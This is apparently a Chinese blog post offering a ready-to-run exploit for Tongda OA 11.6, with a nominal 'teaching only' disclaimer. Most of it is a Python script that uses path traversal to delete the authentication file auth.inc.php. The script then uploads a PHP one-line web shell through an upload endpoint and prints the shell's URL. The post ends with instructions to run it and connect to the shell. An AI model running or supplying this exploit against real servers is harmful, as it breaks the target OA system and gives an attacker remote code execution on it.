通达OA最新RCE漏洞 0Day(附带exp)

本片文章仅用于教学请不要用于非法用途

漏洞影响版本

TDOA11.6

 

漏洞环境

TDOA11.6

 

复现

本片EXP复现存在风险，使用后会造成OA系统无法使用

安装

安装包：https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

一直下一步傻瓜式安装即可

用户名：admin 密码：空

 

登录后截图

 

EXP

import requests
target="url"  # 修改url参数
payload="<?php eval($_POST['3838']);?>"  # 一句话木马
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")


url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('dadada.php', payload)}
requests.post(url=url,files=files)
url=target+"/_dadada.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

本片EXP复现存在风险，使用后会造成OA系统无法使用

 

python td.py

链接shell